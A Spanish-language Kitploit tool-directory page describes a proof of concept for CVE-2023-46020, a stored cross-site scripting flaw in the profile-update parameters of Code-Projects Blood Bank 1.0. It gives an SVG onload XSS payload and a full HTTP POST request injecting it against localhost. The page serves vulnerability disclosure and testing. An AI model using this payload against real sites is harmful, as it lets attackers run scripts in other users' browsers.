Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/ersinerenler/cve-2023-46020-code-projects-blood-bank-1.0-stored-cross-site-scripting-vulnerability
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónSeguridad WebPruebas de Penetración
GitHubersinerenler/cve-2023-46020-code-projects-blood-bank-1.0-stored-cross-site-scripting-vulnerability

CVE-2023-46020-Code-Projects-Blood-Bank-1.0-Stored-Cross-Site-Scripting-Vulnerability

Prueba de concepto de explotación para la vulnerabilidad de cross-site scripting (XSS) almacenado en Code-Projects Blood Bank V1.0 a través de parámetros de perfil sin sanitizar, con inyección de payload y demostración de activación.

Ver Repositorio
39hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-46020-Code-Projects-Blood-Bank-1.0-Stored-Cross-Site-Scripting-Vulnerability

  • Autor del Exploit: ersinerenler

Página del Proveedor

  • https://code-projects.org/blood-bank-in-php-with-source-code

Enlace del Software

  • https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip

Resumen

  • Code-Projects Blood Bank V1.0 es susceptible a una vulnerabilidad de seguridad crítica que implica Cross-Site Scripting Almacenado (XSS) a través de múltiples parámetros (rename, remail, rphone y rcity) en el archivo /updateprofile.php. La aplicación no logra sanear adecuadamente los datos proporcionados por el usuario, lo que permite a los atacantes inyectar scripts maliciosos en la aplicación. Esto podría provocar la ejecución de código de script arbitrario en los navegadores de usuarios desprevenidos, comprometiendo potencialmente su seguridad y privacidad dentro del contexto del sitio afectado.

Detalles de la Vulnerabilidad

  • CVE ID: CVE-2023-46020
  • Versión Afectada: Blood Bank V1.0
  • Archivo Vulnerable: updateprofile.php
  • Parámetros: rename, remail, rphone, rcity
  • Tipo de Ataque: local

Referencias:

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46020
  • https://nvd.nist.gov/vuln/detail/CVE-2023-46020

Descripción

  • Los parámetros rename, remail, rphone y rcity en el archivo /file/updateprofile.php de Code-Projects Blood Bank V1.0 son susceptibles a Cross-Site Scripting Almacenado (XSS). Esta vulnerabilidad surge debido a una validación de entrada y saneamiento insuficientes de los datos proporcionados por el usuario. Un atacante puede explotar esta debilidad inyectando scripts maliciosos en estos parámetros que, al almacenarse en el servidor, pueden ejecutarse cuando otros usuarios vean el perfil del usuario afectado.

Prueba de Concepto (PoC) :

  • Intercepta la solicitud POST a updateprofile.php mediante Burp Suite
  • Inyecta el payload en los parámetros vulnerables
  • Payload: "><svg/onload=alert(document.domain)>
  • Ejemplo de solicitud para el parámetro rname
POST /bloodbank/file/updateprofile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Origin: http://localhost
Connection: close
Referer: http://localhost/bloodbank/rprofile.php?id=1
Cookie: PHPSESSID=<some-cookie-value>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

rname=test"><svg/onload=alert(document.domain)>&remail=test%40gmail.com&rpassword=test&rphone=8875643456&rcity=lucknow&bg=A%2B&update=Update
  • Ve a la página de perfil y activa el XSS
imagen
Descargar herramienta